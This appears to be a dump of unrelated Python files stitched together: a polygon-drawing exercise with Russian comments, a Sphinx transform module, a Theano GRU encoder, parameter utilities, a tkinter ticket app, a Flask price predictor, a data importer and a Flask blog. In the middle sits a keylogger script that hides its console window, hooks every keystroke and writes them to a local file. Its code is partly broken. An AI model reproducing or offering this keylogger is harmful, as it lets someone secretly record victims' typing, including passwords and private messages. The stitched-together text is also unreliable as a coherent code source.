# Результат решения см lesson_004/results/exercise_02_global_color.jpg

import simple_draw as sd
sd.resolution = (800, 900)

point_0 = sd.get_point(100, 100)
point_1 = sd.get_point(400, 100)
point_2 = sd.get_point(100, 400)
point_3 = sd.get_point(400, 400)

colors = {
    1: {'title': 'Красный', 'value': sd.COLOR_DARK_RED},
    2: {'title': 'Оранжевый', 'value': sd.COLOR_ORANGE},
    3: {'title': 'Желтый', 'value': sd.COLOR_YELLOW},
    4: {'title': 'Зеленый', 'value': sd.COLOR_GREEN},
    5: {'title': 'Голубой', 'value': sd.COLOR_CYAN},
    6: {'title': 'Синий', 'value': sd.COLOR_BLUE},
    7: {'title': 'Фиолетовый', 'value': sd.COLOR_PURPLE}
}

def drawing_figure(point, angle, length, step):
    v = sd.get_vector(start_point=point, angle=angle, length=length, width=4)
    for angle in range(angle, 360, step):
        v = sd.get_vector(start_point=v.end_point, angle=angle, length=length, width=4)
        v.draw(figure_color)

def triangle(point, angle, length, side):
    step = 360 // side
    drawing_figure(point, angle, length, step)

def square(point, angle, length, side):
    step = 360 // side
    drawing_figure(point, angle, length, step)

def pentagon(point, angle, length, side):
    step = 360 // side
    drawing_figure(point, angle, length, step)

def hexagon(point, angle, length, side):
    step = 360 // side
    drawing_figure(point, angle, length, step)

# Логичнее эту строчку здесь сделать
print('Список доступных цветов')
for colors_code in colors:
    print(colors_code, ':', colors[colors_code]['title'])

user_input = input("Введите, номер желаемого цвета: ")
colors_code = int(user_input)

if colors_code not in colors:
    print('Вы ввели некоректный номер')
else:
    print('Вы ввели', colors_code, ' : ', colors[colors_code]['title'])
    figure_color = colors[colors_code]['value']
    triangle(point=point_0, angle=15, length=120, side=3)
    square(point=point_1, angle=15, length=120, side=4)
    pentagon(point=point_2, angle=15, length=120, side=5)
    hexagon(point=point_3, angle=15, length=120, side=6)

sd.pause()

# зачет!


"""transforms for code-blocks."""

from __future__ import annotations

import sys
from typing import TYPE_CHECKING, Any, NamedTuple

from docutils import nodes
from pygments.lexers import PythonConsoleLexer, guess_lexer

from sphinx import addnodes
from sphinx.ext import doctest
from sphinx.transforms import SphinxTransform

if TYPE_CHECKING:
    from docutils.nodes import Node, TextElement

    from sphinx.application import Sphinx

class HighlightSetting(NamedTuple):
    language: str
    force: bool
    lineno_threshold: int

class HighlightLanguageTransform(SphinxTransform):
    """
    Apply highlight_language to all literal_block nodes.

    This refers both :confval:`highlight_language` setting and
    :rst:dir:`highlight` directive.  After processing, this transform
    removes ``highlightlang`` node from doctree.
    """
    default_priority = 400

    def apply(self, **kwargs: Any) -> None:
        visitor = HighlightLanguageVisitor(self.document,
                                           self.config.highlight_language)
        self.document.walkabout(visitor)

        for node in list(self.document.findall(addnodes.highlightlang)):
            node.parent.remove(node)

class HighlightLanguageVisitor(nodes.NodeVisitor):
    def __init__(self, document: nodes.document, default_language: str) -> None:
        self.default_setting = HighlightSetting(default_language, False, sys.maxsize)
        self.settings: list[HighlightSetting] = []
        super().__init__(document)

    def unknown_visit(self, node: Node) -> None:
        pass

    def unknown_departure(self, node: Node) -> None:
        pass

    def visit_document(self, node: Node) -> None:
        self.settings.append(self.default_setting)

    def depart_document(self, node: Node) -> None:
        self.settings.pop()

    def visit_start_of_file(self, node: Node) -> None:
        self.settings.append(self.default_setting)

    def depart_start_of_file(self, node: Node) -> None:
        self.settings.pop()

    def visit_highlightlang(self, node: addnodes.highlightlang) -> None:
        self.settings[-1] = HighlightSetting(node['lang'],
                                             node['force'],
                                             node['linenothreshold'])

    def visit_literal_block(self, node: nodes.literal_block) -> None:
        setting = self.settings[-1]
        if 'language' not in node:
            node['language'] = setting.language
            node['force'] = setting.force
        if 'linenos' not in node:
            lines = node.astext().count('\n')
            node['linenos'] = (lines >= setting.lineno_threshold - 1)

class TrimDoctestFlagsTransform(SphinxTransform):
    """
    Trim doctest flags like ``# doctest: +FLAG`` from python code-blocks.

    see :confval:`trim_doctest_flags` for more information.
    """
    default_priority = HighlightLanguageTransform.default_priority + 1

    def apply(self, **kwargs: Any) -> None:
        for lbnode in self.document.findall(nodes.literal_block):
            if self.is_pyconsole(lbnode):
                self.strip_doctest_flags(lbnode)

        for dbnode in self.document.findall(nodes.doctest_block):
            self.strip_doctest_flags(dbnode)

    def strip_doctest_flags(self, node: TextElement) -> None:
        if not node.get('trim_flags', self.config.trim_doctest_flags):
            return

        source = node.rawsource
        source = doctest.blankline_re.sub('', source)
        source = doctest.doctestopt_re.sub('', source)
        node.rawsource = source
        node[:] = [nodes.Text(source)]

    @staticmethod
    def is_pyconsole(node: nodes.literal_block) -> bool:
        if node.rawsource != node.astext():
            return False  # skip parsed-literal node

        language = node.get('language')
        if language in {'pycon', 'pycon3'}:
            return True
        elif language in {'py', 'python', 'py3', 'python3', 'default'}:
            return node.rawsource.startswith('>>>')
        elif language == 'guess':
            try:
                lexer = guess_lexer(node.rawsource)
                return isinstance(lexer, PythonConsoleLexer)
            except Exception:
                pass

        return False

def setup(app: Sphinx) -> dict[str, Any]:
    app.add_post_transform(HighlightLanguageTransform)
    app.add_post_transform(TrimDoctestFlagsTransform)

    return {
        'version': 'builtin',
        'parallel_read_safe': True,
        'parallel_write_safe': True,
    }


#coding:utf-8
from utils import NormalInit, OrthogonalInit, add_to_params
import theano
import numpy as np
import theano.tensor as T

class SentenceEncoder():
    def init_params(self, word_embedding_param):
        # Initialzie W_emb to given word embeddings
        assert(word_embedding_param != None)
        self.W_emb = word_embedding_param

        """ sent weights """
        self.W_in = add_to_params(self.params, theano.shared(value=NormalInit(self.rng, self.rankdim, self.qdim_encoder), name='W_in'+self.name))
        self.W_hh = add_to_params(self.params, theano.shared(value=OrthogonalInit(self.rng, self.qdim_encoder, self.qdim_encoder), name='W_hh'+self.name))
        self.b_hh = add_to_params(self.params, theano.shared(value=np.zeros((self.qdim_encoder,), dtype='float32'), name='b_hh'+self.name))

        self.W_in_r = add_to_params(self.params, theano.shared(value=NormalInit(self.rng, self.rankdim, self.qdim_encoder), name='W_in_r'+self.name))
        self.W_in_z = add_to_params(self.params, theano.shared(value=NormalInit(self.rng, self.rankdim, self.qdim_encoder), name='W_in_z'+self.name))
        self.W_hh_r = add_to_params(self.params, theano.shared(value=OrthogonalInit(self.rng, self.qdim_encoder, self.qdim_encoder), name='W_hh_r'+self.name))
        self.W_hh_z = add_to_params(self.params, theano.shared(value=OrthogonalInit(self.rng, self.qdim_encoder, self.qdim_encoder), name='W_hh_z'+self.name))
        self.b_z = add_to_params(self.params, theano.shared(value=np.zeros((self.qdim_encoder,), dtype='float32'), name='b_z'+self.name))
        self.b_r = add_to_params(self.params, theano.shared(value=np.zeros((self.qdim_encoder,), dtype='float32'), name='b_r'+self.name))

    # This function takes as input word indices and extracts their corresponding word embeddings

    def approx_embedder(self, x):
        return self.W_emb[x]

    def GRU_sent_step(self, x_t, m_t, ph_t):
        hr_tm1 = ph_t

        r_t = T.nnet.sigmoid(T.dot(x_t, self.W_in_r) + T.dot(hr_tm1, self.W_hh_r) + self.b_r)
        z_t = T.nnet.sigmoid(T.dot(x_t, self.W_in_z) + T.dot(hr_tm1, self.W_hh_z) + self.b_z)
        h_tilde = T.tanh(T.dot(x_t, self.W_in) + T.dot(r_t * hr_tm1, self.W_hh) + self.b_hh)
        h_t = z_t * hr_tm1 + (np.float32(1.0) - z_t) * h_tilde

        m_t = m_t.dimshuffle(0, 'x') #make a column out of a 1d vector (N to Nx1)
        h_t = (m_t) * h_t + (1 - m_t) * ph_t

        # return both reset state and non-reset state
        return h_t, r_t, z_t, h_tilde

    def build_encoder(self, x, mask, prev_state): #x是一个matrix
        xe = self.approx_embedder(x)

        hs_0 = prev_state
        _res, _ = theano.scan(self.GRU_sent_step,
                          sequences=[xe, mask],\
                          outputs_info=[hs_0, None, None, None])#每次循环输入GRU_sent_step是一个矩阵，shape为N*w_dim(N为x的列维度)

        # Get the hidden state sequence
        h = _res[0] #返回f_enc函数每次调用的第一个输出值，在RGU中h[i]会作为f_enc第i+1次迭代的输入，得到h[i+1]
        return h, mask

    def __init__(self, word_embedding_param, name, config):
        self.name = name
        self.rankdim = config.w_dim
        self.qdim_encoder = config.h_dim
        self.params = []
        self.rng = np.random.RandomState(23333)
        self.init_params(word_embedding_param)


# coding: utf-8

# In[9]:

import win32api
import win32gui
import win32console
import pyHook
import pythoncom

# In[10]:

show = win32console.GetConsoleWindow()
win32gui.ShowWindow(show,0)

# In[ ]:

def OnKeyboardEvent(event):
    if event.ascii==5:
        _exit(1)

    if event.ascii !=0 or 8:
        s=open('c:\output.txt','r')
        buffer=s.read()
        s.close()
        s=open('c:\output.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
            buffer += keylogs
            s.write(buffer)
            s.close()

    hook=pyHook.HookManager()
    hook.KeyDown = OnKeyboardEvent
    hook.HookKeyboard()
    pythoncom.PumpMessages()

# In[ ]:


#! /usr/bin/env python
# -*- coding: utf-8 -*-

# @Author: ss
# @Time: 2020/7/23 2:07 下午
# @File: utils.py

import contextvars
import json
import lib.common.error as com_error
import time

session_context_manage = contextvars.ContextVar('session')
mq_redis_context_manage = contextvars.ContextVar('mq_redis')

def get_mq_redis_context_manage():
    try:
        tmp_manage = mq_redis_context_manage.get()
    except:
        tmp_manage = []
    return tmp_manage

def set_mq_redis_context_manage(obj, empty=False):
    if empty:
        mq_redis_context_manage.set([])
    else:
        last_manage = get_mq_redis_context_manage()
        last_manage.append(obj)
        mq_redis_context_manage.set(last_manage)

def get_time(ts=None):
    if ts is None:
        ts = get_ts()
    return time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(ts))

def get_ts():
    return int(time.time())

def get_ms():
    return int(time.time() * 1000)

def deserialize(data):
    """json 字符串转换成字典"""
    try:
        return json.loads(data)
    except Exception as e:
        # print e
        return None

def serialize(data, ensure_ascii=False):
    try:
        return json.dumps(data, ensure_ascii=ensure_ascii, separators=(',', ':'))
    except Exception as e:
        print(e)
        return None

def sort_serialize(data, ensure_ascii=False):
    try:
        return json.dumps(data, ensure_ascii=ensure_ascii, sort_keys=True, indent=4)
    except Exception as e:
        print(e)
        return None

def get_params_without_sig(request, keys):
    error, params = get_web_params(request, keys)
    return error, params

def get_params_verify_sig(request, keys):
    error, params = get_web_params(request, keys)
    # do sig
    return error, params

def get_web_params(request, keys):
    arguments = request.arguments
    body = request.body
    params = {}
    if arguments:
        """转码"""
        params.update({elem[0]: elem[1][0].decode() for elem in arguments.items()})
    if body and deserialize(body):
        params.update(deserialize(body))
    for key in keys:
        value = keys[key]
        if key not in params:
            if isinstance(value, tuple):
                length = len(value)
                if length == 1:
                    if value[0] is None:
                        return (-1, 'param <{}> is missing'.format(key)), {}
                    else:
                        params[key] = value[0]
                elif length == 2:
                    if value[0] is None:
                        return (-1, 'param <{}> is missing'.format(key)), {}
                    else:
                        params[key] = value[0]
                elif length == 3:
                    if value[0] is None:
                        return (-1, 'param <{}> is missing'.format(key)), {}
                    else:
                        params[key] = value[0]
            else:
                if value is None:
                    return (-1, 'param <{}> is missing'.format(key)), {}
                else:
                    params[key] = value
        else:
            if isinstance(value, tuple):
                _type = ''
                value_range = []
                length = len(value)
                if length == 2:
                    _type = value[1]
                elif length == 3:
                    _type = value[1]
                    value_range = value[2]
                if _type:
                    if _type == int:
                        try:
                            params[key] = int(params[key])
                        except Exception as e:
                            raise com_error.CommonError((-1, 'param <{}> is int type'.format(key)))
                    elif _type == str:
                        try:
                            params[key] = str(params[key])
                        except Exception as e:
                            raise com_error.CommonError((-1, 'param <{}> is str type'.format(key)))
                    elif _type == list:
                        try:
                            params[key] = list(params[key])
                        except Exception as e:
                            raise com_error.CommonError((-1, 'param <{}> is list type'.format(key)))
                    elif _type == dict:
                        try:
                            params[key] = dict(params[key])
                        except Exception as e:
                            raise com_error.CommonError((-1, 'param <{}> is dict type'.format(key)))
                    elif _type == bool:
                        try:
                            params[key] = bool(params[key])
                        except Exception as e:
                            raise com_error.CommonError((-1, 'param <{}> is bool type'.format(key)))
                if value_range:
                    if params[key] not in value_range:
                        raise com_error.CommonError((-1, 'param <{}> is not in values of {}'.format(key, value_range)))

    return None, params

def pagination(data_list, total_count, page, pagesize):
    """
    列表分页统一字段
    """
    if page == -1 and pagesize == -1:
        result = {
            'data_list': data_list,
            'total_page': 1,
            'page': 1,
            'total_count': total_count,
            'has_next': False,
        }
        return result
    max_page = int(total_count / pagesize) if total_count % pagesize == 0 else int(total_count / pagesize) + 1
    has_next = True if total_count > page * pagesize else False
    result = {
        'data_list': data_list,
        'total_page': max_page,
        'page': page,
        'total_count': total_count,
        'has_next': has_next,
    }
    return result


from tkinter import *
from tkinter import messagebox
from tkinter.ttk import Combobox

window = Tk()
window.title("Ticket Sales")
window.config(bg="#0d1117")
window.geometry("500x600")

# Gideon Daniels

class ClcTicketSales:
    cell_num = StringVar()
    price = StringVar()
    num_of_tickets = StringVar()
    variable = StringVar()
    variable.set("Choose an category")

    def __init__(self, window):
        # Labels
        self.label1 = Label(window, text="Enter cell number")
        self.label2 = Label(window, text="Select Ticket Category")
        self.label3 = Label(window, text="Number of tickets bought")
        # Entries
        self.cell_num_entry = Entry(window)
        # self.select_ticket_category = OptionMenu(window, self.variable, "Soccer", "Movie", "Theatre")
        self.select_ticket_category = Combobox(window, text=self.variable)
        self.select_ticket_category['values'] = ("Soccer", "Movie", "Theater")
        self.number_of_tickets_bought = Spinbox(window, from_=0, to=100, )
        # buttons
        self.calculate_ticket_button = Button(window, text="Calculate Ticket", command=self.calc_prepayment)
        self.clear_entries_button = Button(window, text="Clear", command=self.clear)
        # Output
        self.output_label_1 = Label(window, text="", textvariable=self.price)
        self.output_label_2 = Label(window, text="", textvariable=self.num_of_tickets)
        self.output_label_3 = Label(window, text="", textvariable=self.cell_num)
        self.output_pattern_top = Label(window, text="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX")
        self.output_pattern_bottom = Label(window, text="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX")
        # Placing
        # First Column x= 10
        self.label1.place(x=10, y=100)
        self.label2.place(x=10, y=175)
        self.label3.place(x=10, y=250)
        self.calculate_ticket_button.place(x=10, y=325)
        # Second Column x = 250
        self.cell_num_entry.place(x=250, y=100)
        self.select_ticket_category.place(x=250, y=175)
        self.number_of_tickets_bought.place(x=250, y=250)
        self.clear_entries_button.place(x=350, y=325)
        # Output
        self.output_pattern_top.place(x=10, y=360)
        self.output_label_1.place(x=100, y=400)
        self.output_label_2.place(x=100, y=425)
        self.output_label_3.place(x=100, y=450)
        self.output_pattern_bottom.place(x=10, y=490)
    # Functions

    def calc_prepayment(self):
        try:
            if self.select_ticket_category.get() == "Soccer":
                pay_me = float(self.number_of_tickets_bought.get()) * 40 + 0.14 * (
                            float(self.number_of_tickets_bought.get()) * 40)
                self.price.set("Amount Payable: R" + str(pay_me))
                self.num_of_tickets.set(
                    "Reservation for " + self.select_ticket_category.get() + " for " + self.number_of_tickets_bought.get())
                self.cell_num.set("was done by " + self.cell_num_entry.get())

            elif self.select_ticket_category.get() == "Movie":
                pay_me = float(self.number_of_tickets_bought.get()) * 75 + 0.14 * (
                            float(self.number_of_tickets_bought.get()) * 75)
                self.price.set("Amount Payable: R" + str(pay_me))
                self.num_of_tickets.set(
                    "Reservation for " + self.select_ticket_category.get() + " for " + self.number_of_tickets_bought.get())
                self.cell_num.set("was done by " + self.cell_num_entry.get())

            elif self.select_ticket_category.get() == "Theatre":
                pay_me = float(self.number_of_tickets_bought.get()) * 100 + 0.14 * (
                            float(self.number_of_tickets_bought.get()) * 100)
                self.price.set("Amount Payable: R" + str(pay_me))
                self.num_of_tickets.set(
                    "Reservation for " + self.select_ticket_category.get() + " for " + self.number_of_tickets_bought.get())
                self.cell_num.set("was done by " + self.cell_num_entry.get())

        except ValueError:
            messagebox.showerror("error", "Invalid input. Please try again.")

    def clear(self):
        self.cell_num_entry.delete(0, END)
        # self.select_ticket_category.delete(0, END)
        self.number_of_tickets_bought.delete(0, END)

object_ticket_sales = ClcTicketSales(window)
window.mainloop()


from flask import Flask, render_template, request
import pandas as pd
from datetime import date

app = Flask(__name__)

cpi_df = pd.read_csv('..\\Price Predictor\\clean_forecasted_cpi.csv')

prodname = cpi_df['product_name'].drop_duplicates()

@app.route('/', methods=['GET', 'POST'])
def home():
    dates = []
    quantity = []
    price = []
    L4list = request.form.get('productname')
    predicted_price_list = []
    predicted_price = 0

    if request.method == "POST":
        L4list = request.form.get('productname')

        prod_list = cpi_df[['product_name',
                            'quantity',
                            'price',
                            'ds',
                            'yhat']]

        groupitem = prod_list.groupby('product_name')

        G = groupitem.get_group(L4list)

        #dates = list(G['ds'].dt.strftime("%x"))
        dates = list(G['ds'])
        quantity = list(G['quantity'])
        price = list(G['price'])
        predicted_price_list = list(G['yhat'])
        predicted_price = round(abs(float(predicted_price_list[27])),6)

    return render_template('home.html',
                           Fourthlist = prodname,
                           dates = dates,
                           quantity = quantity,
                           price = price,
                           predicted_price = predicted_price,
                           itemname = L4list)

if __name__ == "__main__":
    app.run(debug=True)


import json
import asyncio

from gsuid_core.utils.database.models import GsBind, GsUser

from ..utils.resource.RESOURCE_PATH import MAIN_PATH

V3_DATA_PATH = MAIN_PATH / 'v3_data.json'

async def import_v3_data() -> str:
    if not V3_DATA_PATH.exists():
        return '在数据文件夹内未发现v3数据...'
    with open(V3_DATA_PATH, 'r') as file:
        v3_data = json.loads(file.read())
    await asyncio.sleep(3)
    for bind_data in v3_data['bind']:
        bind_data['bot_id'] = v3_data['bot_id']
        await GsBind.full_insert_data(**bind_data)
    for user_data in v3_data['user']:
        user_data['bot_id'] = v3_data['bot_id']
        await GsUser.full_insert_data(**user_data)
    return '导入v3数据成功! '


import db

from flask import Flask, render_template
from flask_paginate import Pagination, get_page_args
from blogpost import blogpost_bp
import os

app = Flask(__name__)

PAGE_LIMIT = 5

db.init_app(app)
app.config.from_mapping(
    # a default secret that should be overridden by instance config
    # SECRET_KEY="dev",
    # store the database in the instance folder
    DATABASE=os.path.join(app.instance_path, "posts.sqlite"),
)

app.register_blueprint(blogpost_bp)

@app.route("/")
def index():
    dba = db.get_db()
    result = dba.execute(f"SELECT title, created, body, id FROM post\
        ORDER BY id DESC, created DESC LIMIT {PAGE_LIMIT}")
    rlist = result.fetchall()
    return render_template('index.html', result=rlist)

@app.route("/bloglist", defaults={"page": 1})
@app.route("/bloglist/page/<int:page>")
def bloglist(page):
    dba = db.get_db()

    total = dba.execute("SELECT count(*) FROM post").fetchone()[0]

    page, per_page, offset = get_page_args(
        per_page_parameter="pp", pp=PAGE_LIMIT
    )

    # print(page, per_page, offset,)

    if per_page:
        sql = """select title, created, body, id FROM post
        ORDER BY id DESC, created DESC LIMIT {} OFFSET {}""".format(per_page, offset)
    else:
        sql = """
        SELECT title, created, body, id FROM post
        ORDER BY id DESC, created DESC"""

    result = dba.execute(sql)
    rlist = result.fetchall()

    pagination = Pagination(
        p=page,
        pp=per_page,
        total=total,
        page_parameter="p",
        per_page_parameter="pp",
    )

    return render_template('blog-list.html', result=rlist, pagination=pagination)

@app.route("/about")
def about():
    return render_template('about.html')